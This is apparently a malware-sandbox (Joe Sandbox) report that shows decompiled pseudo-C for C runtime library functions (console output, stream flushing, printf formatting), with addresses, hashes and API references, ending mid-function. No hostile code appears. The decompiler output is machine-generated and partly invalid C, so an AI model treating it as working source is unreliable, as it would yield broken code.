Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction ID: 5188d8c1bb316996dac230e82976e7cad66aec252f3c802fddb82d82ff590d6e
Opcode Fuzzy Hash: 403a4a1944af8a17fff45db30b91d9a6f14a6034f75f525fc3273268f6792f56
Instruction Fuzzy Hash: 4D41E371D06629DFDF24CF48CC99BAEB7B5BB48304F24919AD449A7240C7385A81CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0043B4A0, Relevance: 9.1, APIs: 6, Instructions: 76
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 95%

			E0043B4A0(void* __edx, void _a4) {
				long _v8;
				int _v12;
				signed int _v16;
				void _v24;
				signed int _t12;
				void _t14;
				void* _t25;
				void* _t31;
				void* _t33;
				void* _t34;
				signed int _t35;

				_t31 = __edx;
				_t12 =  *0x440354; // 0x8c5b84b0
				_v16 = _t12 ^ _t35;
				if( *0x4416b4 == 0) {
					L12:
					if( *0x4416b4 != 0) {
						L16:
						_t14 = _a4;
					} else {
						_v12 = WideCharToMultiByte(GetConsoleOutputCP(), 0,  &_a4, 1,  &_v24, 5, 0, 0);
						if( *0x441744 == 0xffffffff) {
							L15:
							_t14 = 0xffff;
						} else {
							_t31 =  *0x441744; // 0xfffffffe
							if(WriteConsoleA(_t31,  &_v24, _v12,  &_v8, 0) != 0) {
								goto L16;
							} else {
								goto L15;
							}
						}
					}
				} else {
					if( *0x441744 == 0xfffffffe) {
						E0043D2D0();
					}
					if( *0x441744 != 0xffffffff) {
						_t31 =  *0x441744; // 0xfffffffe
						if(WriteConsoleW(_t31,  &_a4, 1,  &_v8, 0) != 0) {
							 *0x4416b4 = 1;
							goto L12;
						} else {
							if( *0x4416b4 != 2 || GetLastError() != 0x78) {
								_t14 = 0xffff;
							} else {
								 *0x4416b4 = 0;
								goto L12;
							}
						}
					} else {
						_t14 = 0xffff;
					}
				}
				return E0042BCD0(_t14, _t25, _v16 ^ _t35, _t31, _t33, _t34);
			}

0x0043b4a0
0x0043b4a8
0x0043b4af
0x0043b4b9
0x0043b52e
0x0043b535
0x0043b588
0x0043b588
0x0043b537
0x0043b556
0x0043b560
0x0043b581
0x0043b581
0x0043b562
0x0043b570
0x0043b57f
0x00000000
0x00000000
0x00000000
0x00000000
0x0043b57f
0x0043b560
0x0043b4bb
0x0043b4c2
0x0043b4c4
0x0043b4c4
0x0043b4d0
0x0043b4ea
0x0043b4f9
0x0043b524
0x00000000
0x0043b4fb
0x0043b502
0x0043b51b
0x0043b50f
0x0043b50f
0x00000000
0x0043b522
0x0043b502
0x0043b4d2
0x0043b4d2
0x0043b4d2
0x0043b4d0
0x0043b599

APIs

___initconout.LIBCMTD ref: 0043B4C4

Part of subcall function 0043D2D0: CreateFileA.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,?,0043B4C9), ref: 0043D2E9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 0043B549
WideCharToMultiByte.KERNEL32(00000000), ref: 0043B550
WriteConsoleA.KERNEL32(FFFFFFFE,00000000,?,?,00000000), ref: 0043B577

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: 446fc29d3d88c7f4571954c1a4b2dabf7ea5c4c0ef1117ddd22daff0fed09a2f
Instruction ID: 687c2d9cbb11380c8dc2ba3ff93410440edd6a4170db83f8e34b915ddf14543c
Opcode Fuzzy Hash: 446fc29d3d88c7f4571954c1a4b2dabf7ea5c4c0ef1117ddd22daff0fed09a2f
Instruction Fuzzy Hash: F021D178600208BBDB20DB54DE45BFA3364EB19318F10023AF716DA2E0D7788985DB9E

Uniqueness

Uniqueness Score: -1.00%

Function 0043D3C3, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0043D3C3() {
				signed int _t104;
				void* _t119;
				void* _t122;
				void* _t130;
				signed int _t179;
				void* _t193;
				void* _t194;
				void* _t195;
				void* _t197;

				if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000002;
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xffffffef;
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					 *(_t195 - 4) = 0;
					_t136 =  *(_t195 - 4);
					 *(_t195 - 0xc) =  *(_t195 - 4);
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000108) == 0) {
							 *(_t195 - 4) = 2;
							 *((short*)(_t195 - 0x14)) =  *(_t195 + 8) & 0x0000ffff;
							 *(_t195 - 0xc) = E00433010( *(_t195 - 0x10),  *(_t195 - 0x10), _t195 - 0x14,  *(_t195 - 4));
							L25:
							if( *(_t195 - 0xc) ==  *(_t195 - 4)) {
								_t104 =  *(_t195 + 8) & 0x0000ffff;
							} else {
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
							}
							goto L28;
						}
						if( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t119 = L0041E390();
							_t197 = _t197 + 0x14;
							if(_t119 == 1) {
								asm("int3");
							}
						}
						 *(_t195 - 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) -  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
						 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)) + 2;
						 *( *((intOrPtr*)(_t195 - 8)) + 4) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 0x18)) - 2;
						if( *(_t195 - 4) <= 0) {
							if( *(_t195 - 0x10) == 0xffffffff ||  *(_t195 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t195 - 0x18)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t195 - 0x18)) = (( *(_t195 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t195 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t195 - 0x18)) + 4; // 0xa80
							_t152 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t179 =  *(_t195 - 0x10);
								 *(_t195 - 0x20) = E00432CD0(_t152, _t179, _t179, 0, 0, 2);
								 *(_t195 - 0x1c) = _t179;
								if(( *(_t195 - 0x20) &  *(_t195 - 0x1c)) != 0xffffffff) {
									goto L23;
								}
								 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
								_t104 = 0xffff;
								goto L28;
							}
						} else {
							 *(_t195 - 0xc) = E00433010( *((intOrPtr*)(_t195 - 8)),  *(_t195 - 0x10),  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)),  *(_t195 - 4));
							L23:
							 *((short*)( *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8)))) =  *(_t195 + 8) & 0x0000ffff;
							goto L25;
						}
					}
					if( *((intOrPtr*)(_t195 - 8)) == E00426600() + 0x20 ||  *((intOrPtr*)(_t195 - 8)) == E00426600() + 0x40) {
						_t136 =  *(_t195 - 0x10);
						_t122 = E00433E40(_t130,  *(_t195 - 0x10), _t193, _t194,  *(_t195 - 0x10));
						_t197 = _t197 + 4;
						if(_t122 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D80(_t136,  *((intOrPtr*)(_t195 - 8)));
						_t197 = _t197 + 4;
						goto L10;
					}
				} else {
					 *( *((intOrPtr*)(_t195 - 8)) + 4) = 0;
					if(( *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0x00000010) == 0) {
						 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) | 0x00000020;
						_t104 = 0xffff;
						L28:
						return _t104;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)))) =  *((intOrPtr*)( *((intOrPtr*)(_t195 - 8)) + 8));
					 *( *((intOrPtr*)(_t195 - 8)) + 0xc) =  *( *((intOrPtr*)(_t195 - 8)) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x0043d3fd
0x0043d449
0x0043d455
0x0043d464
0x0043d46a
0x0043d471
0x0043d478
0x0043d47b
0x0043d489
0x0043d4c1
0x0043d4cd
0x0043d5d5
0x0043d5e5
0x0043d5fd
0x0043d600
0x0043d606
0x0043d621
0x0043d608
0x0043d614
0x0043d617
0x0043d617
0x00000000
0x0043d606
0x0043d4de
0x0043d4e0
0x0043d4e5
0x0043d4e7
0x0043d4ec
0x0043d4f1
0x0043d4f3
0x0043d4f8
0x0043d4fe
0x0043d500
0x0043d500
0x0043d4fe
0x0043d50c
0x0043d51b
0x0043d529
0x0043d530
0x0043d552
0x0043d575
0x0043d55a
0x0043d570
0x0043d570
0x0043d57f
0x0043d583
0x0043d586
0x00000000
0x0043d588
0x0043d58e
0x0043d59a
0x0043d59d
0x0043d5a9
0x00000000
0x00000000
0x0043d5b7
0x0043d5ba
0x00000000
0x0043d5ba
0x0043d532
0x0043d549
0x0043d5c1
0x0043d5d0
0x00000000
0x0043d5d0
0x0043d530
0x0043d496
0x0043d4a5
0x0043d4a9
0x0043d4ae
0x0043d4b3
0x00000000
0x00000000
0x00000000
0x0043d4b5
0x0043d4b5
0x0043d4b9
0x0043d4be
0x00000000
0x0043d4be
0x0043d3ff
0x0043d402
0x0043d412
0x0043d43c
0x0043d43f
0x0043d626
0x0043d629
0x0043d629
0x0043d41d
0x0043d42b
0x00000000
0x0043d42b

APIs

__isatty.LIBCMTD ref: 0043D4A9
__getbuf.LIBCMTD ref: 0043D4B9
__write.LIBCMTD ref: 0043D541

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 0043D4E0
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 0043D4EC

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 87ebfa59ded919cdac90033c01aad676a145351abbc913d30e705f77a016519f
Instruction ID: 024202699cadd6511237209e50ea76128a576e2bd173b2979a78d878e2d7ad65
Opcode Fuzzy Hash: 87ebfa59ded919cdac90033c01aad676a145351abbc913d30e705f77a016519f
Instruction Fuzzy Hash: C851C875E00208EFDB14CF94D491A6EFBB1FF88324F248299E4496B395D635EA81CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00426941, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 123
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00426941() {
				signed int _t102;
				signed int _t104;
				signed int _t114;
				void* _t118;
				void* _t121;
				signed int _t126;
				void* _t129;
				signed int _t174;
				void* _t188;
				void* _t189;
				void* _t190;
				void* _t192;

				if(( *( *(_t190 - 8) + 0xc) & 0x00000001) == 0) {
					L5:
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000002;
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xffffffef;
					 *( *(_t190 - 8) + 4) = 0;
					 *(_t190 - 4) = 0;
					_t135 =  *(_t190 - 4);
					 *(_t190 - 0xc) =  *(_t190 - 4);
					if(( *( *(_t190 - 8) + 0xc) & 0x0000010c) != 0) {
						L10:
						if(( *( *(_t190 - 8) + 0xc) & 0x00000108) == 0) {
							 *(_t190 - 4) = 1;
							 *(_t190 - 0xc) = E00433010( *(_t190 - 4),  *(_t190 - 0x10), _t190 + 8,  *(_t190 - 4));
							L25:
							if( *(_t190 - 0xc) ==  *(_t190 - 4)) {
								_t102 =  *(_t190 + 8) & 0x000000ff;
							} else {
								_t104 =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								 *( *(_t190 - 8) + 0xc) = _t104;
								_t102 = _t104 | 0xffffffff;
							}
							goto L28;
						}
						if( *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8)) < 0) {
							_push(L"(\"inconsistent IOB fields\", stream->_ptr - stream->_base >= 0)");
							_push(0);
							_push(0xa0);
							_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\_flsbuf.c");
							_push(2);
							_t118 = L0041E390();
							_t192 = _t192 + 0x14;
							if(_t118 == 1) {
								asm("int3");
							}
						}
						 *(_t190 - 4) =  *( *(_t190 - 8)) -  *((intOrPtr*)( *(_t190 - 8) + 8));
						 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8)) + 1;
						 *( *(_t190 - 8) + 4) =  *((intOrPtr*)( *(_t190 - 8) + 0x18)) - 1;
						if( *(_t190 - 4) <= 0) {
							if( *(_t190 - 0x10) == 0xffffffff ||  *(_t190 - 0x10) == 0xfffffffe) {
								 *((intOrPtr*)(_t190 - 0x14)) = 0x440f40;
							} else {
								 *((intOrPtr*)(_t190 - 0x14)) = (( *(_t190 - 0x10) & 0x0000001f) << 6) +  *((intOrPtr*)(0x54b840 + ( *(_t190 - 0x10) >> 5) * 4));
							}
							_t68 =  *((intOrPtr*)(_t190 - 0x14)) + 4; // 0xa80
							_t149 =  *_t68 & 0x00000020;
							if(( *_t68 & 0x00000020) == 0) {
								goto L23;
							} else {
								_t174 =  *(_t190 - 0x10);
								 *(_t190 - 0x1c) = E00432CD0(_t149, _t174, _t174, 0, 0, 2);
								 *(_t190 - 0x18) = _t174;
								if(( *(_t190 - 0x1c) &  *(_t190 - 0x18)) != 0xffffffff) {
									goto L23;
								}
								_t114 =  *(_t190 - 8);
								 *(_t114 + 0xc) =  *( *(_t190 - 8) + 0xc) | 0x00000020;
								_t102 = _t114 | 0xffffffff;
								goto L28;
							}
						} else {
							 *(_t190 - 0xc) = E00433010( *(_t190 - 8),  *(_t190 - 0x10),  *((intOrPtr*)( *(_t190 - 8) + 8)),  *(_t190 - 4));
							L23:
							 *((char*)( *((intOrPtr*)( *(_t190 - 8) + 8)))) =  *(_t190 + 8);
							goto L25;
						}
					}
					if( *(_t190 - 8) == E00426600() + 0x20 ||  *(_t190 - 8) == E00426600() + 0x40) {
						_t135 =  *(_t190 - 0x10);
						_t121 = E00433E40(_t129,  *(_t190 - 0x10), _t188, _t189,  *(_t190 - 0x10));
						_t192 = _t192 + 4;
						if(_t121 != 0) {
							goto L10;
						}
						goto L9;
					} else {
						L9:
						E00433D80(_t135,  *(_t190 - 8));
						_t192 = _t192 + 4;
						goto L10;
					}
				} else {
					 *( *(_t190 - 8) + 4) = 0;
					if(( *( *(_t190 - 8) + 0xc) & 0x00000010) == 0) {
						_t126 =  *(_t190 - 8);
						 *( *(_t190 - 8) + 0xc) =  *(_t126 + 0xc) | 0x00000020;
						_t102 = _t126 | 0xffffffff;
						L28:
						return _t102;
					}
					 *( *(_t190 - 8)) =  *((intOrPtr*)( *(_t190 - 8) + 8));
					 *( *(_t190 - 8) + 0xc) =  *( *(_t190 - 8) + 0xc) & 0xfffffffe;
					goto L5;
				}
			}

0x00426979
0x004269c3
0x004269cf
0x004269de
0x004269e4
0x004269eb
0x004269f2
0x004269f5
0x00426a03
0x00426a3b
0x00426a47
0x00426b46
0x00426b61
0x00426b64
0x00426b6a
0x00426b83
0x00426b6c
0x00426b72
0x00426b78
0x00426b7b
0x00426b7b
0x00000000
0x00426b6a
0x00426a58
0x00426a5a
0x00426a5f
0x00426a61
0x00426a66
0x00426a6b
0x00426a6d
0x00426a72
0x00426a78
0x00426a7a
0x00426a7a
0x00426a78
0x00426a86
0x00426a95
0x00426aa3
0x00426aaa
0x00426acc
0x00426aef
0x00426ad4
0x00426aea
0x00426aea
0x00426af9
0x00426afd
0x00426b00
0x00000000
0x00426b02
0x00426b08
0x00426b14
0x00426b17
0x00426b23
0x00000000
0x00000000
0x00426b2e
0x00426b31
0x00426b34
0x00000000
0x00426b34
0x00426aac
0x00426ac3
0x00426b39
0x00426b42
0x00000000
0x00426b42
0x00426aaa
0x00426a10
0x00426a1f
0x00426a23
0x00426a28
0x00426a2d
0x00000000
0x00000000
0x00000000
0x00426a2f
0x00426a2f
0x00426a33
0x00426a38
0x00000000
0x00426a38
0x0042697b
0x0042697e
0x0042698e
0x004269ac
0x004269b8
0x004269bb
0x00426b88
0x00426b8b
0x00426b8b
0x00426999
0x004269a7
0x00000000
0x004269a7

APIs

__isatty.LIBCMTD ref: 00426A23
__getbuf.LIBCMTD ref: 00426A33
__write.LIBCMTD ref: 00426ABB

Strings

("inconsistent IOB fields", stream->_ptr - stream->_base >= 0), xrefs: 00426A5A
f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c, xrefs: 00426A66

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __getbuf__isatty__write
String ID: ("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)$f:\dd\vctools\crt_bld\self_x86\crt\src\_flsbuf.c
API String ID: 2861569966-4070537404
Opcode ID: 9f78565a66dd5a343c9563f6cb9913a2d49c4919ea993c38b584332e7cb7fdd3
Instruction ID: 86356684149924d33afd6407be236b57b01e6540cd14103b9ad9a81941a29042
Opcode Fuzzy Hash: 9f78565a66dd5a343c9563f6cb9913a2d49c4919ea993c38b584332e7cb7fdd3
Instruction Fuzzy Hash: 3951E874B00218EFCB04CF94D491AADFBB1BF89324F65C299D845AB395D635AE81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00427D45, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E00427D45() {
				signed int _t478;
				signed int _t524;

				L0:
				while(1) {
					L0:
					 *(_t524 - 0x30) = 8;
					while(1) {
						L137:
						 *(__ebp - 0x260) = 7;
						while(1) {
							L139:
							 *(__ebp - 8) = 0x10;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
							__eflags =  *(__ebp - 0x10) & 0x00000080;
							if(( *(__ebp - 0x10) & 0x00000080) != 0) {
								 *(__ebp - 0x14) = 0x30;
								 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
								__eflags =  *(__ebp - 0x260) + 0x51;
								 *((char*)(__ebp - 0x13)) = __al;
								 *(__ebp - 0x1c) = 2;
							}
							while(1) {
								L144:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
										__eflags =  *(__ebp - 0x10) & 0x00000020;
										if(( *(__ebp - 0x10) & 0x00000020) == 0) {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__edx = 0;
												__eflags = 0;
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = 0;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										} else {
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
											__eflags =  *(__ebp - 0x10) & 0x00000040;
											if(( *(__ebp - 0x10) & 0x00000040) == 0) {
												__ecx = __ebp + 0x14;
												E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
												asm("cdq");
												 *(__ebp - 0x2b0) = __ax & 0x0000ffff;
												 *(__ebp - 0x2ac) = __edx;
											} else {
												__eax = __ebp + 0x14;
												__eax = E00428370(__ebp + 0x14);
												__ax = __eax;
												asm("cdq");
												 *(__ebp - 0x2b0) = __eax;
												 *(__ebp - 0x2ac) = __edx;
											}
										}
									} else {
										__eax = __ebp + 0x14;
										 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
										 *(__ebp - 0x2ac) = __edx;
									}
								} else {
									__ecx = __ebp + 0x14;
									 *(__ebp - 0x2b0) = E00428390(__ebp + 0x14);
									 *(__ebp - 0x2ac) = __edx;
								}
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
								__eflags =  *(__ebp - 0x10) & 0x00000040;
								if(( *(__ebp - 0x10) & 0x00000040) == 0) {
									goto L161;
								}
								L157:
								__eflags =  *(__ebp - 0x2ac);
								if(__eflags > 0) {
									goto L161;
								}
								L158:
								if(__eflags < 0) {
									L160:
									 *(__ebp - 0x2b0) =  ~( *(__ebp - 0x2b0));
									__edx =  *(__ebp - 0x2ac);
									asm("adc edx, 0x0");
									__edx =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b0));
									 *(__ebp - 0x2b4) =  ~( *(__ebp - 0x2ac));
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
									L162:
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
									__eflags =  *(__ebp - 0x10) & 0x00008000;
									if(( *(__ebp - 0x10) & 0x00008000) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
										__eflags =  *(__ebp - 0x10) & 0x00001000;
										if(( *(__ebp - 0x10) & 0x00001000) == 0) {
											__edx =  *(__ebp - 0x2b8);
											__eax =  *(__ebp - 0x2b4);
											__eax =  *(__ebp - 0x2b4) & 0x00000000;
											__eflags = __eax;
											 *(__ebp - 0x2b4) = __eax;
										}
									}
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) >= 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
										__eflags =  *(__ebp - 0x30) - 0x200;
										if( *(__ebp - 0x30) > 0x200) {
											 *(__ebp - 0x30) = 0x200;
										}
									} else {
										 *(__ebp - 0x30) = 1;
									}
									 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
									if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
										 *(__ebp - 0x1c) = 0;
									}
									__eax = __ebp - 0x49;
									 *(__ebp - 4) = __ebp - 0x49;
									while(1) {
										L172:
										__ecx =  *(__ebp - 0x30);
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
										__eflags =  *(__ebp - 0x30);
										if( *(__ebp - 0x30) > 0) {
											goto L174;
										}
										L173:
										 *(__ebp - 0x2b8) =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										__eflags =  *(__ebp - 0x2b8) |  *(__ebp - 0x2b4);
										if(( *(__ebp - 0x2b8) |  *(__ebp - 0x2b4)) == 0) {
											L177:
											__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
											 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
											__ecx =  *(__ebp - 4);
											__ecx =  *(__ebp - 4) + 1;
											 *(__ebp - 4) = __ecx;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
											__eflags =  *(__ebp - 0x10) & 0x00000200;
											if(( *(__ebp - 0x10) & 0x00000200) == 0) {
												while(1) {
													L181:
													__eflags =  *(__ebp - 0x28);
													if( *(__ebp - 0x28) != 0) {
														goto L207;
													}
													L182:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
														__eflags =  *(__ebp - 0x10) & 0x00000100;
														if(( *(__ebp - 0x10) & 0x00000100) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
															__eflags =  *(__ebp - 0x10) & 0x00000001;
															if(( *(__ebp - 0x10) & 0x00000001) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
																__eflags =  *(__ebp - 0x10) & 0x00000002;
																if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																	 *(__ebp - 0x14) = 0x20;
																	 *(__ebp - 0x1c) = 1;
																}
															} else {
																 *(__ebp - 0x14) = 0x2b;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															 *(__ebp - 0x14) = 0x2d;
															 *(__ebp - 0x1c) = 1;
														}
													}
													 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x2bc) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
													__eflags =  *(__ebp - 0x10) & 0x0000000c;
													if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
														__edx = __ebp - 0x24c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x2bc);
														__eax = E00435730(0x20,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
													}
													__edx = __ebp - 0x24c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x1c);
													__edx = __ebp - 0x14;
													E00435770( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x24c) =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) & 0x00000008;
													__eflags =  *(__ebp - 0x10) & 0x00000008;
													if(( *(__ebp - 0x10) & 0x00000008) != 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) == 0) {
															__edx = __ebp - 0x24c;
															__eax =  *(__ebp + 8);
															__ecx =  *(__ebp - 0x2bc);
															__eax = E00435730(0x30,  *(__ebp - 0x2bc),  *(__ebp + 8), __ebp - 0x24c);
														}
													}
													__eflags =  *(__ebp - 0xc);
													if( *(__ebp - 0xc) == 0) {
														L203:
														__ecx = __ebp - 0x24c;
														__edx =  *(__ebp + 8);
														__eax =  *(__ebp - 0x24);
														__ecx =  *(__ebp - 4);
														__eax = E00435770(__ecx, __ecx,  *(__ebp - 0x24),  *(__ebp + 8), __ebp - 0x24c);
														goto L204;
